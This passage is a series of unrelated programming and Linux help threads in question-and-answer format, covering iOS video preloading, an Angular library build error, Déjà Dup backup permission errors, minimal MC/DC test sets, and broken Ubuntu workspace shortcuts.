I was checking some ideas around like use the AVQueuePlayer or download little % of the video, but there isn't much info about this...Is this "Instagram approach" possible or too hard to do?
Comment: Hi @xvicient. Maybe this library work. -> https://github.com/neekeetab/CachingPlayerItem
Comment: I think CachingPlayerItem could be a good solution. The pod provides the ability to download a video and start playing it without stop the download. Maybe a limitation will be managing the downloads to avoid memory issues.
Comment: Hi again @xvicient, I'll happy if it works.
Comment: It seems that it works but I'm facing some issues with streaming videos https://github.com/neekeetab/CachingPlayerItem/issues/23
Comment: @xvicient hi! How did you solve it back then?
Answer: Not that hard to do but some libraries are already available . You can use following simple library to make it work
AGVideoPlayerView
Comment: The example is showing a buffering spinner and waiting for the video...


ng build --watch deletes the project directory inside dist

Question: I have two libraries for my app: contact-us and about-us.
Contact-us is  perfectly linked to my app, but when I use the same approach to link about-us, I get some errors!.
What I've done to link about-us:
cd libraries/about-us/
npm run build
cd /dist/about-us
npm link
ng build --watch

What I get after ng build --watch (please notice points 1, 2 and 3!):
Building Angular Package

------------------------------------------------------------------------------
Building entry point 'about-us'
------------------------------------------------------------------------------
// Point 1. this error is also shown for contact-us, but doesn't make problem
⠋ Compiling with Angular sources in Ivy partial compilation mode.internal/bootstrap/switches/does_own_process_state.js:130
    cachedCwd = rawMethods.cwd();
                           ^

Error: ENOENT: no such file or directory, uv_cwd
    at process.wrappedCwd [as cwd] (internal/bootstrap/switches/does_own_process_state.js:130:28)
    at Loader.defaultResolve [as _resolve] (internal/modules/esm/resolve.js:872:42)
    at Loader.resolve (internal/modules/esm/loader.js:89:40)
    at Loader.getModuleJob (internal/modules/esm/loader.js:242:28)
    at Loader.import (internal/modules/esm/loader.js:177:28)
    at internal/modules/run_main.js:52:28
    at Object.loadESM (internal/process/esm_loader.js:68:11)
    at processTicksAndRejections (internal/process/task_queues.js:95:5)
    at async handleMainPromise (internal/modules/run_main.js:59:12) {
  errno: -2,
  code: 'ENOENT',
  syscall: 'uv_cwd'
}

//point 2. this error is not shown for contact-us.
//point 3. if I interrupt the command in this point, I can still see files in dist/about-us/
events.js:377
      throw er; // Unhandled 'error' event
      ^
Error: ENOENT: no such file or directory, uv_cwd
    at process.cwd (internal/main/worker_thread.js:149:19)
    at MessagePort.<anonymous> (internal/main/worker_thread.js:163:48)
    at MessagePort.[nodejs.internal.kHybridDispatch] (internal/event_target.js:399:24)
    at MessagePort.exports.emitMessage (internal/per_context/messageport.js:18:26)
Emitted 'error' event on process instance at:
    at emitUnhandledRejectionOrErr (internal/event_target.js:579:11)
    at MessagePort.[nodejs.internal.kHybridDispatch] (internal/event_target.js:403:9)
    at MessagePort.exports.emitMessage (internal/per_context/messageport.js:18:26)
    at Worker.[kOnExit] (internal/worker.js:271:5)
    at Worker.<computed>.onexit (internal/worker.js:203:20) {
  errno: -2,
  code: 'ENOENT',
  syscall: 'uv_cwd'
}

I noticed that, after this, the dist directory gets empty and the project folder inside it is deleted! And I think this is the reason of ENOENT error.
After a bit search, I found here that ng build --watch looks for dist directory, so I ran it not in the about-us/dist/about-us but in the root about-us.
Then I don't get any error by ng build --watch.
However, when in my app directory I ran:
npm link about-us
ionic cap build android

my app is not able to find the library, and I get:
cannot find module 'about-us' or its corresponding type declarations.
29     loadChildren: () => import('about-us').then(m => m.AboutusModule)
                                  ~~~~~~~~~~~~~~~~
[ERROR] An error occurred while running subprocess ng.
        ng run app:build exited with exit code 1.

Also when I check my app's node_modules directory, I can see that the created link for about-us is different than the link for contact-us.
So I think I have to understand why ng build --watch is not working as expected!
Does any one know what is the problem and how I can fix it? Thank you in advance!
Some info:
I'm using nvm14.20 and cli 14.0.1.
Answer: I found what was the problem. Yes ng build --watch looks for dist directory, so shouldn't be run inside dist, but npm link must be run in dist\about-us so the solution is:
npm run build
cd /dist/about-us
npm link
cd ../..
ng build --watch


Why can Déjà Dup not complete the backup of .cache/dconf and .gvfs?

Question: I'm 24hrs into using Déjà Dup. All seems well apart from this error message:

Backup Finished
Could not back up the following files. Please make sure you are able
  to open them.
/home/mjwittering/.cache/dconf
/home/mjwittering/.gvfs

What should I do, if anything?
Answer: I've been able to solve my question after finding this web page. You need to update the owner and group for each file which is failing to backup. I used these commands to solve the situation.
sudo chown mjwittering .cache/dconf .gvfs
sudo chgrp mjwittering .cache/dconf .gvfs

Then run the backup again, which should now complete successfully.
Comment: Are you sure you want to back up the contents of the .gvfs directory? That's just a mountpoint for user-mounted filesystems (e.g. when you browse to a network share via nautilus) - typically those files would be backed up on the remote system where they actually reside - backing them up locally may cause a lot of unnecessary network traffic (and local disk usage)
Comment: Your right, I probably don't need to backup the contents of both paths, and could extend the default ignore list in Déjà Dup. I'm actually backing up to an external disk and haven't mounted any network shares to my system, so should have any problems, but that is quite an interesting unexpected consequence. Thanks for the advice.
Comment: For the purposes of answering the question, these should be ignored within deja-dup, rather than chown'd/chgrp'd
Comment: I tried ignoring ~/.dbus and still got the error. It's mostly a minor, but daily annoyance: instead of running silently in the background, every time I backup, Deja-Dup wiggles in the Launcher, waiting for me to "OK" and close the error message. So, chown and chgrp are a welcome solution--it will save seconds of my day every day for a long time.
Comment: I too, had this problem. Just that on my system it was ~/.cache/dconf + ~/.dbus instead. The directories should not be owned by root so absolutely, do change it.

This was discussed on ubuntu-devel-discuss and here is a reply that confirms this, https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2014-April/014925.html
Comment: Why should dconf be ignored by the backup rather than included?
Comment: isnt this a security issue? theres probably a reason you werent originally the owner/group for those files...
Answer: Seen in a 12.04 system that ~/.gvfs is owned by me:me and permissions are dr-x------.
So once you granted ownership to user yourself and group yourself run:
chmod 500 ~/.gvfs

No comment to add about .cache/dconf
Answer: Regardless of what's causing the problem, these directories should be excluded from a backup. For details, see What files and directories can be excluded from a backup of the home directory?


Minimal set of test cases with modified condition/decision coverage

Question: I have a question regarding modified condition/decision coverage that I can't figure out.
So if I have the expression ((A || B) && C) and the task is with a minimal number of test cases receive 100% MD/DC.
I break it down into two parts with the minimal number of test cases for (A || B) and (X && C).
(A || B) : {F, F} = F, {F, T} = T, {T, -} = T
(X && C) : {F, -} = F, {T, F} = F, {T, T} = T

The '-' means that it doesn't matter which value they are since they won't be evaluated by the compiler.
So when I combine these I get this as my minimal set of test cases:
((A || B) && C) : {{F, F}, -} = F, {{F, T}, F} = F, {{T, -}, T} = T

But when I google it this is also in the set: {{F, T}, T} = T
Which I do not agree on because I tested the parts of this set separately in the other tests, didn't I?
So I seem to miss what the fourth test case adds to the set and it would be great if someone could explain why I must have it?
Answer: First of all, a little explanation on MCDC
To achieve MCDC you need to find at least one Test Pair for each condition in your boolean expression that fulfills the MCDC criterion.
At the moment there are 3 types of MCDC defined and approved by certification bodies (e.g. FAA)

"Unique Cause" – MCDC (original definition):  Only one, specifically the influencing condition may change between the two test values of the test pair. The resulting decision, the result of the boolean expression, must also be different for the 2 test values of the test pair. All other conditions in the test pair must be fixed and unchanged.
"Masking" – MCDC":  Only one condition of the boolean expression having an influence on the outcome of the decision may change. Other conditions may change as well, but must be masked. Masked means, using the boolean logic in the expression, they will not have an influence on the outcome. If the left side of an AND is FALSE, then the complete rightside expression and sub expressions do not matter. They are masked. Masking is a relaxation of the "Unique Cause"MCDC.
"Unique Cause + Masking" – MCDC. This is a hybrid and especially needed for boolean expressions with strongly coupled conditions like for example in "ab+ac". It is not possible to find a test pair for condition "a" the fulfills "Unique Cause" – MCDC. So, we can relax the original definition, and allow masking for strongly coupled conditions.

With these 2 additional definitions much more test pairs can be found.
Please note additionally that, when using languages with a boolean short cut evaluation strategy (like Java, C, C++), there are even more test pairs fulfilling MCDC criteria.
Very important is to understand that a BlackBox view on a truth table does not allow to find any kind of Masking or boolean short cut evaluation.
MCDC is a structural coverage metric and so a WhiteBox View on the boolean expression is absolutely mandatory.
So, now to your expression: "(a+b)c". A brute force analysis with boolean shortcut evaluation will give you the following test pairs for your 3 conditions a,b,c:
Influencing Condition: 'a'  Pair:  0,  5   Unique Cause
Influencing Condition: 'a'  Pair:  0,  7   Unique Cause
Influencing Condition: 'a'  Pair:  1,  5   Unique Cause
Influencing Condition: 'a'  Pair:  1,  7   Unique Cause
Influencing Condition: 'b'  Pair:  0,  3   Unique Cause
Influencing Condition: 'b'  Pair:  1,  3   Unique Cause
Influencing Condition: 'c'  Pair:  2,  3   Unique Cause
Influencing Condition: 'c'  Pair:  2,  5   Masking
Influencing Condition: 'c'  Pair:  2,  7   Masking
Influencing Condition: 'c'  Pair:  3,  4   Masking
Influencing Condition: 'c'  Pair:  3,  6   Masking
Influencing Condition: 'c'  Pair:  4,  5   Unique Cause
Influencing Condition: 'c'  Pair:  4,  7   Unique Cause
Influencing Condition: 'c'  Pair:  5,  6   Unique Cause
Influencing Condition: 'c'  Pair:  6,  7   Unique Cause

Without a white box view, you will never find "Unique Cause" – MCDC test pairs like 0,7 for condition "a". Also, you will not find any of the valid "Masking" – MCDC" test pairs.
The next step is now to find one minimum test set. This can be done by applying the "set cover" or "unate covering" algoritm. From above test pairs we can create a table that shows which test value covers what condition. In your case this looks like the following:
   0 1 2 3 4 5 6 7
a  X X       X   X
b  X X   X
c      X X X X X X

Simple elimination of double columns will already reduce the table to
    0 1 2 3 4 5 6 7             0 3 5
a  X -       X   -     ==>   a  X   X
b  X -   X                   b  X X
c      - X - X - -           c    X X

Please Note: We employed some heuristics to select, which of completely identical columns should be eliminated. So effectively there are more solutions to the set cover problem. But with the geometrically growth on computing time and memory consumption related to the number of conditions, this is the only meaningful approach.
Now we will apply Petrick's method and find out all coverage sets:
1.    0, 3
2.    0, 5
3.    3, 5

That means, we need to select, out of the above test pair list, test pairs for a,b,c that contain, for solution 1,  0 and 3,   for solution 2,   0 and 5,    and for solution 3    3  and  5
Also here we will apply some heuristic functions to come up with the minimum solutions:
-------- For Coverage set   1

Test Pair for Condition 'a':    0   5   (Unique Cause)
Test Pair for Condition 'b':    0   3   (Unique Cause)
Test Pair for Condition 'c':    2   3   (Unique Cause)

Resulting Test Vector:  0 2 3 5

-------- For Coverage set   2

Test Pair for Condition 'a':    0   5   (Unique Cause)
Test Pair for Condition 'b':    0   3   (Unique Cause)
Test Pair for Condition 'c':    5   6   (Unique Cause)

Resulting Test Vector:  0 3 5 6

-------- For Coverage set   3

Test Pair for Condition 'a':    1   5   (Unique Cause)
Test Pair for Condition 'b':    1   3   (Unique Cause)
Test Pair for Condition 'c':    5   6   (Unique Cause)

Resulting Test Vector:  1 3 5 6

---------------------------------------
Test vector: Recommended Result: 0 2 3 5

    0:  a=0  b=0  c=0    (0)
    2:  a=0  b=1  c=0    (0)
    3:  a=0  b=1  c=1    (1)
    5:  a=1  b=0  c=1    (1)

You see that you have for all 3 possible solutions 4 test cases that cover all conditions and that fulfill MCDC criteria. If you check publications in the internet, then you will see that the minimum number of tests is  n+1 (n = number of conditions). This sounds not like a great achievement. But looking at MCC (Multiple Condition Coverage) you will have 2^n test cases. So, for 8 conditions 256 test cases. With MCDC there will be only 9. That was one reason to come up with MCDC.
I created also a software to help to better understand MCDC coverage. It uses a boolean expression as input, simplifies that (if you wish) and calculates all MCDC test pairs.
You may find it here:
MCDC
I hope, I could shed some light on the topic. I am happy to answer further questions.
Comment: What a wonderful explanation. I am completely impressed.
Comment: out of three possible solution which is the better 0235 or 0356 or 1356
Comment: Basically it does not matter. They will all work. You may use some heuristic for selecting. For example, minimum set bits or cleared bits, or the number of changed bits. But, no preference.
Comment: U eleminated the double  Coloumns what logic u used?? And when selecting the pair according to your point number 1 .  you told that only one variable among 3 variables should change from true to false or vise versa and also the out come need to be changed. But in pair 0,5 both A and C are changed. Can you elobarate this point.
Comment: This is hard to explain in a comment. Please google for "reduction of prime implicant tables"
Answer: Recall that for MC/DC you need for every condition P (A/B/C in your case) two test cases T and T' so that P is true in T and false in T', and so that the outcome of the predicate is true in one and false in the other test case.
An MC/DC cover for ((A || B) && C) is:

T1: (F, F, T) -> F (your first test case)
T2: (F, T, T) -> T (B flips outcome compared to T1, missing)
T3: (T, F, T) -> T (A flips outcome compared to T1, your third test case)
T4: (F, T, F) -> F (C flips outcome compared to T2, your second test case)

In concrete test cases you cannot have "-" / don't-care values: You must make a choice when you exercise the system.
So what you are missing in your answer is a pair of two test cases (T1 and T2) in which flipping only the second condition B also flips the outcome.
Answer: For MCDC to be achieved it requires the output to change when there is a change in only 1 input  while the other inputs remain constant. For example in your case
MCDC for (A || B) & C

So when A changes from 1 to 0 B & C remain constant whereas output changes from 1 to 0. Same applies for both B & C.
Normally they say the minimum number of steps to achieve MCDC is Number of Inputs + Number of Outputs.
So in your case MCDC can be achieved in minimum of 4 steps.


Changing workspace shortcuts do not work

Question: Ubuntu 14.04. The shortcuts Ctrl+Alt+←↑→↓ and Ctrl+Alt+Shift+←↑→↓ to change workspace and move applications do not work.
Here is the image of the shortcuts configuration

and here is the output of xev when pressing the combination
<code>KeyPress event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5232252, (-456,71), root:(331,123),
    state 0x10, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:
    XmbLookupString gives 0 bytes:
    XFilterEvent returns: False

KeyPress event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5232883, (-456,71), root:(331,123),
    state 0x14, keycode 64 (keysym 0xffe9, Alt_L), same_screen YES,
    XLookupString gives 0 bytes:
    XmbLookupString gives 0 bytes:
    XFilterEvent returns: False

KeyPress event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5233443, (-456,71), root:(331,123),
    state 0x1c, keycode 114 (keysym 0xff53, Right), same_screen YES,
    XLookupString gives 0 bytes:
    XmbLookupString gives 0 bytes:
    XFilterEvent returns: False

KeyRelease event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5233548, (-456,71), root:(331,123),
    state 0x1c, keycode 114 (keysym 0xff53, Right), same_screen YES,
    XLookupString gives 0 bytes:
    XFilterEvent returns: False

KeyRelease event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5233900, (-456,71), root:(331,123),
    state 0x1c, keycode 64 (keysym 0xffe9, Alt_L), same_screen YES,
    XLookupString gives 0 bytes:
    XFilterEvent returns: False

KeyRelease event, serial 37, synthetic NO, window 0x4600001,
    root 0x25b, subw 0x0, time 5233916, (-456,71), root:(331,123),
    state 0x14, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,
    XLookupString gives 0 bytes:
    XFilterEvent returns: False

ClientMessage event, serial 37, synthetic YES, window 0x4600001,
    message_type 0x12f (WM_PROTOCOLS), format 32, message 0x12d (WM_DELETE_WINDOW)
</code>
Other Ctrl+Alt shortcuts (like T to open the terminal and H to open the home) work fine.
I already tried to re-set them with no luck.
Any hint on how to solve the problem and being able to use them?
Comment: I am now suer that the problem is user-wide (the Guest session is not affected), but still it does not help me. So far I canceled a couple of times the configurations files and folder in my home, removed and reset the shourtcuts, removed and reset the workspaces. I do not know what to do more :(
Comment: Those shortcut are handled by Compiz. Try installing `ccsm`, then check if "Desktop Wall" enabled and check its binding is set. (Be Aware that ccsm is an advanced tool)
Answer: For the shortcuts to work you need at the minimum the workspaces setting enabled:

Settings - appearance - behaviour tab and tick the workspaces checkbox

Assuming that this is correct, the next step is to confirm if this is account specific or system wide.  Login to another account to confirm.
If you dont have access to another account, then look at account specific stuff.
You could try resetting Unity as per our canonical Q&A:
If this still doesn't work, then you can use the ultimate "correct everything" method of clearing down all Gnome settings:
Comment: The master at work!  ;-)
Comment: Hi! Unfortunately the problem has come again, but on a different computer now.

I did again as above (reset Unity, GTK2 and GTK3) but this time it did not solved the problem :( Any other hint?